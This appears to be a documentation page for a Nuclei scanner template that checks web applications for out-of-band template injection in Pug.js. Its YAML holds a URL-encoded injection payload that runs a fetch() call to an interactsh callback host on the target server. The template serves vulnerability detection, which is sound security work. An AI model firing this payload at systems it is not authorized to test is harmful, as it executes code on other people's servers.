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Pug.js - Out of Band Template Injection

ID: pugjs-oob

Severity: high

Author: 0xAwali,DhiyaneshDK

Tags: ssti,dast,oast,oob

Description

Section titled “Description”

YAML Source

Section titled “YAML Source”
id: pugjs-oob


info:
  name: Pug.js - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK
  severity: high
  reference:
    - https://pugjs.org/
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
  tags: ssti,dast,oast,oob


variables:
  prefix: "{{rand_text_alpha(5)}}"


http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'


    payloads:
      injection:
        - '%23%7Bfunction%28%29%7B%0A%20%20fetch%28%22http%3A%2F%2F{{interactsh-url}}%22%2C%20%7B%0A%20%20%20%20headers%3A%20%7B%0A%20%20%20%20%20%20%22{{prefix}}%22%3A%20%22application%2Fjson%22%0A%20%20%20%20%7D%0A%20%20%7D%29%0A%7D%28%29%7D'


    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"


    matchers-condition: and
    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'http')"
          - "contains(to_lower(interactsh_request), to_lower(prefix))"
        condition: and
# digest: 4a0a00473045022100a6ebd1560d81d16b15be41097993e9109ed689a87746fff0989c30f41cd5a83602207080509de64615ba27c452481eb15e64b848fb990ce4fbe6950419497079721c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/oob/pugjs-oob.yaml"

View on Github